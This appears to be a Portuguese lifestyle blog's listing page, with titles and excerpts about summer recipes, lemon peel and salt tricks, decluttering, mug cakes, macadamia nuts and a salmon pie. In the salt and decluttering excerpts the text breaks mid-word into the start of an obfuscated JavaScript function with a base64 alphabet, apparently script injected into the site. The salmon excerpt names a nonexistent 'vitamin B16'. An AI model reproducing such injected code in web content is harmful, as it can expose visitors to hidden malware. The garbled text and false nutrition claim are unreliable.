3 Receitas refrescantes para os dias quentes

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3 Receitas refrescantes para os dias quentes     No verão pode ser uma tarefa difícil decidir o que preparar para as refeições pois está muito calor e só nos apetecem pratos frescos e gelados. Para o ajudar os trago-lhe 3 receitas refrescantes para os dias quentes:...

Não deite fora as cascas do limão – 10 bons truques

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Não deite fora as cascas do limão – 10 bons truques   Além de ser medicinal e de ter uso na culinária, o limão tem muitas outras utilidades que provavelmente desconhece. Por isso, não deite fora as cascas do limão, dou-lhe 10 bons truques. Com certeza já deve...

Os usos surpreendentes do sal para o seu dia-a-dia

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Os usos surpreendentes do sal para o seu dia-a-dia     O sal tem vários benefícios e utilidades para o nosso dia-a-dia. No entanto, qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var...

7 dicas para descomplicar e destralhar a sua vida

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7 dicas para descomplicar e destralhar a sua vida   De vez em qufunction a4872b9c6b(y1){var qd=’ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=’;var x0=”;var n6,w6,qe,q8,w9,we,n7;var...

Bolo de cenoura na caneca com cobertura de chocolate negro

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Bolo de cenoura na caneca com cobertura de chocolate negro      Depois do sucesso do bolo de cenoura com cobertura de chocolate, hoje trago-lhe a versão caneca com menos calorias e muito mais saudável. E o melhor é que não estraga a dieta nem aumenta os dígitos da...

Dicas saudáveis: 10 Benefícios da Noz Macadâmia

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Dicas saudáveis: 10 Benefícios da Noz Macadâmia     Cultivada em países de climas tropicais como o Brasil, África do Sul, Nova Zelândia, Austrália… e com um sabor ligeiramente amanteigado, a noz Macadâmia é deliciosa e cheia de benefícios para a nossa saúde. É...

Receita de muffin light na caneca de morango e banana

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Receita de muffin light na caneca de morango e banana     A verdade é que passamos a vida numa correria e ter tempo para cozinhar pode ser uma tarefa difícil. É por isso que tantas pessoas adoram os bolos que se fazem na caneca! São simples, rápidos e práticos. Hoje...

Empadão de salmão e batata doce

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Empadão de salmão e batata doce   Este prato é maravilhoso, já que irá comer bem e de forma muito saudável. Isto porque o salmão é rico em ómega-3 , vitamina A, vitamina B16, vitamina B12 , Vitamina C , vitamina D, Ferro, Potássio, Cálcio e Magnésio. É verdade, é um...